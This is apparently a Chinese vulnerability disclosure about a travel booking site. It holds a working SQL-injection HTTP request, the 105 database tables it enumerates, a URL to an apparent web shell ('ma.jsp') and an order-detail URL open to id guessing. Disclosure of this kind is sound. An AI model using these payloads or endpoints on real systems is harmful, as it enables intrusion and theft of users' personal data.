八个六阳光航空旅游网几处风险泄露用户个人信息/个人登录密码/订单信息（影响10W+用户数据）

POST /ajax/querySpeTicket4Date.action HTTP/1.1
 Host: www.66666666.com
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
 Accept: application/json, text/javascript, */*
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Referer: http://www.66666666.com/speTic4Recently.action?depCode=CGO&reaCode=LHW&flightDate=2016-03-30
 Content-Length: 23
 Cookie: JSESSIONID=460F770E422FAB60C7D2A787FE81757D; Hm_lvt_f5e3bd8d027c1dcf84d56a9886d322db=1459252966; Hm_lpvt_f5e3bd8d027c1dcf84d56a9886d322db=1459253581; Hm_lvt_eb39dfed1031da9fa5752da0eb74b1da=1459252966; Hm_lpvt_eb39dfed1031da9fa5752da0eb74b1da=1459253581; depCode=CGO; depCity=%E9%83%91%E5%B7%9E
 Connection: keep-alive
 
 depCode=CGO21257723'%20or%20'4816'%3d'4816&reaCode=LHW

Database: ah7q89up
 [105 tables]
 +----------------------+
 | c_cou_ext            |
 | c_coupon             |
 | c_type               |
 | c_type_ext           |
 | h_area               |
 | h_brand              |
 | h_data               |
 | h_geo                |
 | h_geo_extra          |
 | h_hotel              |
 | h_hotel_id           |
 | h_hotel_imgs         |
 | h_hotel_lack         |
 | h_hotel_list         |
 | h_hotel_log          |
 | h_hotel_member_list  |
 | h_hotel_rooms        |
 | h_o_i_recipient      |
 | h_order              |
 | h_order_card         |
 | h_order_contact      |
 | h_order_customer     |
 | h_order_invoice      |
 | l_area               |
 | l_lines              |
 | l_lines_arrcity      |
 | l_lines_collections  |
 | l_lines_date         |
 | l_lines_hot_city     |
 | l_lines_trip         |
 | l_order              |
 | l_order_type         |
 | t_act_goods          |
 | t_act_lottery_acount |
 | t_act_lottery_nper   |
 | t_act_lottery_order  |
 | t_act_order          |
 | t_act_order_ly       |
 | t_act_pro            |
 | t_act_pro_jfcode     |
 | t_act_pro_order      |
 | t_act_yw             |
 | t_activity           |
 | t_activity_ca        |
 | t_activity_hb        |
 | t_ad_picture         |
 | t_advice             |
 | t_airline            |
 | t_announcement       |
 | t_app_tui            |
 | t_app_tui_act1       |
 | t_area               |
 | t_authority          |
 | t_cabin_close        |
 | t_city_airport       |
 | t_credentials        |
 | t_flight_cabin       |
 | t_flight_trans       |
 | t_giftcart           |
 | t_giftorder          |
 | t_giftorder_detail   |
 | t_groupticket_apply  |
 | t_iata               |
 | t_lottery            |
 | t_member             |
 | t_message            |
 | t_name_list          |
 | t_orderflight        |
 | t_pay_mess           |
 | t_pro_appraise       |
 | t_pro_picture        |
 | t_procount           |
 | t_product            |
 | t_pun_rate           |
 | t_que_answer         |
 | t_question           |
 | t_restdata           |
 | t_role               |
 | t_role_authority     |
 | t_sort               |
 | t_specity            |
 | t_speflight          |
 | t_speticket          |
 | t_sys_log            |
 | t_ticket_remind      |
 | t_ticketorder        |
 | t_ticketperson       |
 | t_user               |
 | t_user_address       |
 | t_user_answer        |
 | t_user_coupon        |
 | t_user_ext           |
 | t_user_ggk           |
 | t_user_lottery       |
 | t_user_role          |
 | t_user_wx            |
 | t_version            |
 | t_visa               |
 | t_visa_area          |
 | t_visa_order         |
 | t_visa_order_type    |
 | t_visa_type          |
 | t_visit_log          |
 | t_visitor_his_log    |
 | t_visitor_log        |
 +----------------------+

http://116.255.199.103/sbn/pic/resources/giftPictures/ma.jsp

http://www.66666666.com/sbnapp/travel/travel!getOrderDetail.action?id=280